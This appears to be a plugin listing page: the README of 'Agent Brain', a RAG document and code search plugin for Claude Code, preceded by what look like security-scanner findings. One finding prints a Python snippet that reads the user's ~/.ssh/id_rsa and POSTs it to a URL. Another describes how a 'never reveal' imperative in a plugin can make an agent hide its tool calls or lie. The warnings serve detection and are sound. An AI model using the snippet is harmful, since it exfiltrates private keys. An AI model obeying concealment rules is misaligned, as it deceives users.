This plugin references an SSH private-key path or a private-key file header ("""A hypothetical ``~/.ssh/id_rsa`` outside root…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})# let the SSH agent / git handle auth; never read or send the key

A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.

A RAG-based (Retrieval-Augmented Generation) document indexing and semantic search system for AI agents and applications. Agent Brain enables intelligent querying of documentation and source code using natural language.
Agent Brain provides AI-first document and code search through a Claude Code plugin with skills, commands, and agents. Use slash commands to search, agents for complex research tasks, and skills for intelligent query optimization.
| Component | Description |
|---|---|
| Plugin | 24 slash commands, 3 agents, 2 skills for Claude Code |
| Skills | Intelligent search mode selection and query optimization |
| Agents | Research assistant, search assistant, setup assistant |
| Server | FastAPI backend for indexing and retrieval |
| CLI | Command-line tool (also used by plugin internally) |
claude plugins install github:SpillwaveSolutions/agent-brainIn Claude Code, run:
/agent-brain-setupThis interactive wizard will:
agent-brain-rag, agent-brain-cli)/agent-brain-search "how does authentication work"That's it! The plugin handles everything automatically.
| Command | Description | Use When |
|---|---|---|
/agent-brain-search | Smart hybrid search (recommended) | General questions |
/agent-brain-semantic | Pure semantic/vector search | Conceptual queries |
/agent-brain-keyword | BM25 keyword search | Error messages, function names |
/agent-brain-hybrid | Hybrid with alpha tuning | Fine-tuned searches |
/agent-brain-graph | Knowledge graph search | "What calls X?", dependencies |
/agent-brain-multi | All modes combined (RRF) | Maximum recall |
| Command | Description |
|---|---|
/agent-brain-start | Start the server (auto-port) |
/agent-brain-stop | Stop the server |
/agent-brain-status | Check health and document count |
/agent-brain-index | Index documents or code |
| Command | Description |
|---|---|
/agent-brain-setup | Complete guided setup wizard |
/agent-brain-install | Install pip packages |
/agent-brain-init | Initialize project directory |
/agent-brain-verify | Verify configuration |
/agent-brain-providers | Configure embedding/summarization providers |
Agent Brain includes three intelligent agents for complex tasks:
| Agent | Description | Triggered By |
|---|---|---|
| Search Assistant | Multi-step search across modes, synthesizes answers | "Find all references to...", "Research how..." |
| Research Assistant | Deep exploration with follow-up queries | "Investigate...", "Analyze the architecture of..." |
| Setup Assistant | Guided installation and troubleshooting | "Help me set up Agent Brain", configuration issues |
You: "Research how authentication is implemented across the codebase"
Research Assistant:
Skills provide intelligent context to Claude for optimal searching:
| Skill | Purpose |
|---|---|
| using-agent-brain | Search mode selection, query optimization, API knowledge |
| configuring-agent-brain | Installation, provider configuration, troubleshooting |
When you ask about documentation or code, Claude automatically uses the skill to:
| Mode | Best For | Example Query |
|---|---|---|
HYBRID | General questions (default) | "How does caching work?" |
VECTOR | Conceptual understanding | "Explain the architecture" |
BM25 | Exact terms, error codes | "NullPointerException", "getUserById" |
GRAPH | Relationships, dependencies | "What classes use AuthService?" |
MULTI | Comprehensive search | "Everything about data validation" |
Agent Brain supports multiple providers for embeddings and summarization:
| Provider | Models | Local |
|---|---|---|
| OpenAI | text-embedding-3-large, text-embedding-3-small | No |
| Ollama | nomic-embed-text, mxbai-embed-large | Yes |
| Cohere | embed-english-v3.0, embed-multilingual-v3.0 | No |
| Provider | Models | Local |
|---|---|---|
| Anthropic | claude-haiku-4-5-20251001, claude-sonnet-4-5-20250514 | No |
| OpenAI | gpt-5, gpt-5-mini | No |
| Gemini | gemini-3-flash, gemini-3-pro | No |
| Grok | grok-4, grok-4-fast | No |
| Ollama | llama4:scout, mistral-small3.2, qwen3-coder | Yes |
